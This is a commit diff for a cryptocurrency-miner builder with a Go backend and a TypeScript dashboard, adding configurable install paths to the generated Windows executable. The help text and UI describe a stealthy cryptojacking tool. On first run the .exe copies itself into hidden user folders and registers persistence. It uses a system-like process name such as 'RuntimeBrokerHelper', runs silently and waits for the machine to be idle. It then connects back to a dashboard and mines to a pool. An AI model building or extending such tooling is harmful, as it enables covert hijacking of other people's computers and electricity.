Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
@@ -47,6 +47,9 @@ type AgentDefaults struct {
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
}
|
||||
|
||||
type BackgroundConfig struct {
|
||||
@@ -91,6 +94,8 @@ func DefaultConfig() *Config {
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||||
},
|
||||
Background: BackgroundConfig{
|
||||
SilentMode: true,
|
||||
@@ -195,6 +200,15 @@ func mergeConfig(dst, src *Config) {
|
||||
if src.DefaultAgent.ScheduleEnd != "" {
|
||||
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
||||
}
|
||||
if src.DefaultAgent.InstallBase != "" {
|
||||
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
||||
}
|
||||
if src.DefaultAgent.InstallCustomBase != "" {
|
||||
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
||||
}
|
||||
if src.DefaultAgent.InstallRelativePath != "" {
|
||||
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||||
}
|
||||
dst.Background.SilentMode = src.Background.SilentMode
|
||||
if src.Background.RunAs != "" {
|
||||
dst.Background.RunAs = src.Background.RunAs
|
||||
|
||||
@@ -38,9 +38,12 @@ type BuildRequest struct {
|
||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
PoolPass string `json:"pool_pass"`
|
||||
@@ -277,6 +280,15 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.ScheduleEnd == "" {
|
||||
req.ScheduleEnd = "06:00"
|
||||
}
|
||||
if req.InstallBase == "" {
|
||||
req.InstallBase = "localappdata"
|
||||
}
|
||||
if req.InstallRelativePath == "" {
|
||||
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
||||
}
|
||||
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
|
||||
return fmt.Errorf("install_custom_base is required when install_base is custom")
|
||||
}
|
||||
if req.PoolHost == "" {
|
||||
req.PoolHost = "pool.supportxmr.com"
|
||||
}
|
||||
@@ -326,6 +338,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
IdleDurationMinutes: %d,
|
||||
ScheduleStart: %q,
|
||||
ScheduleEnd: %q,
|
||||
InstallBase: %q,
|
||||
InstallCustomBase: %q,
|
||||
InstallRelativePath: %q,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -355,6 +370,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.IdleDurationMinutes,
|
||||
req.ScheduleStart,
|
||||
req.ScheduleEnd,
|
||||
req.InstallBase,
|
||||
req.InstallCustomBase,
|
||||
req.InstallRelativePath,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
42
server/web/src/help/installPreview.ts
Normal file
42
server/web/src/help/installPreview.ts
Normal file
@@ -0,0 +1,42 @@
|
||||
const BASE_LABELS: Record<string, string> = {
|
||||
localappdata: '%LOCALAPPDATA%',
|
||||
appdata: '%APPDATA%',
|
||||
programdata: '%ProgramData%',
|
||||
userprofile: '%USERPROFILE%',
|
||||
temp: '%TEMP%',
|
||||
custom: '',
|
||||
};
|
||||
|
||||
function sanitizeToken(value: string, fallback: string): string {
|
||||
const clean = value.trim().replace(/[\\/:*?"<>|]/g, '-').replace(/\s+/g, '-');
|
||||
return clean || fallback;
|
||||
}
|
||||
|
||||
export function previewInstallPath(options: {
|
||||
install_base: string;
|
||||
install_custom_base?: string;
|
||||
install_relative_path?: string;
|
||||
worker_name?: string;
|
||||
process_name?: string;
|
||||
}): string {
|
||||
const baseKey = options.install_base || 'localappdata';
|
||||
const base =
|
||||
baseKey === 'custom'
|
||||
? (options.install_custom_base?.trim() || '%CUSTOM%')
|
||||
: (BASE_LABELS[baseKey] || '%LOCALAPPDATA%');
|
||||
|
||||
const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
|
||||
const process = sanitizeToken(options.process_name || worker, 'miner');
|
||||
const buildShort = 'abc12345';
|
||||
|
||||
let rel = (options.install_relative_path || 'CryptoMiner/{worker}-{build_short}').replace(/\\/g, '/');
|
||||
rel = rel
|
||||
.replace(/\{worker\}/g, worker)
|
||||
.replace(/\{build\}/g, 'full-build-id')
|
||||
.replace(/\{build_short\}/g, buildShort)
|
||||
.replace(/\{process\}/g, process);
|
||||
|
||||
rel = rel.replace(/^\/+|\/+$/g, '');
|
||||
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
|
||||
return `${folder}\\${process}.exe`;
|
||||
}
|
||||
@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
|
||||
},
|
||||
{
|
||||
title: '4. Deploy once per PC',
|
||||
body: 'Copy the single .exe to a worker machine and run it once. It installs, optionally persists, and connects back to your dashboard.',
|
||||
body: 'Double-click the .exe on any Windows machine. It copies itself to your configured install folder, registers persistence if enabled, connects to your dashboard, and starts mining — no extra steps.',
|
||||
},
|
||||
{
|
||||
title: '5. Monitor',
|
||||
@@ -47,4 +47,7 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
};
|
||||
|
||||
@@ -3,6 +3,7 @@ import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import { SETUP_CHEATSHEET } from '../help/settingHelp';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
import './Pages.css';
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
@@ -29,6 +30,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
|
||||
idle_duration_minutes: d.idle_duration_minutes,
|
||||
schedule_start: d.schedule_start,
|
||||
schedule_end: d.schedule_end,
|
||||
install_base: d.install_base || 'localappdata',
|
||||
install_custom_base: d.install_custom_base || '',
|
||||
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
@@ -83,6 +87,10 @@ export default function BuilderPage() {
|
||||
setError('Wallet address is required');
|
||||
return;
|
||||
}
|
||||
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
|
||||
setError('Custom install base path is required when Install Base is Custom');
|
||||
return;
|
||||
}
|
||||
|
||||
setBuilding(true);
|
||||
try {
|
||||
@@ -112,6 +120,14 @@ export default function BuilderPage() {
|
||||
);
|
||||
}
|
||||
|
||||
const installPreview = previewInstallPath({
|
||||
install_base: form.install_base,
|
||||
install_custom_base: form.install_custom_base,
|
||||
install_relative_path: form.install_relative_path,
|
||||
worker_name: form.worker_name,
|
||||
process_name: form.process_name,
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="page fade-in">
|
||||
<div className="page-header">
|
||||
@@ -339,6 +355,44 @@ export default function BuilderPage() {
|
||||
|
||||
<div className="form-section">
|
||||
<h3>Install & Process</h3>
|
||||
<p className="form-description">
|
||||
Double-clicking the built `.exe` embeds the miner on first run: copies itself to the path below,
|
||||
optionally persists, then starts mining in the background.
|
||||
</p>
|
||||
<div className="form-group">
|
||||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||||
<select className="select" value={form.install_base}
|
||||
onChange={(e) => updateField('install_base', e.target.value)}>
|
||||
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
|
||||
<option value="appdata">Roaming App Data (%APPDATA%)</option>
|
||||
<option value="programdata">Program Data (%ProgramData%)</option>
|
||||
<option value="userprofile">User Profile (%USERPROFILE%)</option>
|
||||
<option value="temp">Temp Folder (%TEMP%)</option>
|
||||
<option value="custom">Custom Path</option>
|
||||
</select>
|
||||
<FieldHint field="install_base" />
|
||||
</div>
|
||||
{form.install_base === 'custom' && (
|
||||
<div className="form-group">
|
||||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||||
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
|
||||
value={form.install_custom_base}
|
||||
onChange={(e) => updateField('install_custom_base', e.target.value)} />
|
||||
<FieldHint field="install_custom_base" />
|
||||
</div>
|
||||
)}
|
||||
<div className="form-group">
|
||||
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
|
||||
<input type="text" className="input mono"
|
||||
placeholder="CryptoMiner/{worker}-{build_short}"
|
||||
value={form.install_relative_path}
|
||||
onChange={(e) => updateField('install_relative_path', e.target.value)} />
|
||||
<FieldHint field="install_relative_path" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Install Preview</label>
|
||||
<code className="path-display">{installPreview}</code>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
|
||||
|
||||
@@ -244,6 +244,46 @@ export default function SettingsPage() {
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-section">
|
||||
<h3>Install Location Defaults</h3>
|
||||
<p className="section-desc">Where built installers embed the miner on first run.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.default_agent_config.install_base || 'localappdata'}
|
||||
onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
|
||||
>
|
||||
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
|
||||
<option value="appdata">Roaming App Data (%APPDATA%)</option>
|
||||
<option value="programdata">Program Data (%ProgramData%)</option>
|
||||
<option value="userprofile">User Profile (%USERPROFILE%)</option>
|
||||
<option value="temp">Temp Folder (%TEMP%)</option>
|
||||
<option value="custom">Custom Path</option>
|
||||
</select>
|
||||
</div>
|
||||
{config.default_agent_config.install_base === 'custom' && (
|
||||
<div className="form-group">
|
||||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={config.default_agent_config.install_custom_base || ''}
|
||||
onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
|
||||
placeholder="%ProgramData%\\HiddenApps"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
<div className="form-group">
|
||||
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
|
||||
onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
|
||||
|
||||
@@ -110,6 +110,9 @@ export interface AgentDefaults {
|
||||
idle_duration_minutes: number;
|
||||
schedule_start: string;
|
||||
schedule_end: string;
|
||||
install_base: string;
|
||||
install_custom_base: string;
|
||||
install_relative_path: string;
|
||||
}
|
||||
|
||||
export interface BackgroundConfig {
|
||||
@@ -147,6 +150,9 @@ export interface BuildRequest {
|
||||
idle_duration_minutes: number;
|
||||
schedule_start: string;
|
||||
schedule_end: string;
|
||||
install_base: string;
|
||||
install_custom_base: string;
|
||||
install_relative_path: string;
|
||||
pool_host: string;
|
||||
pool_port: number;
|
||||
pool_tls: boolean;
|
||||
|
||||
Reference in New Issue
Block a user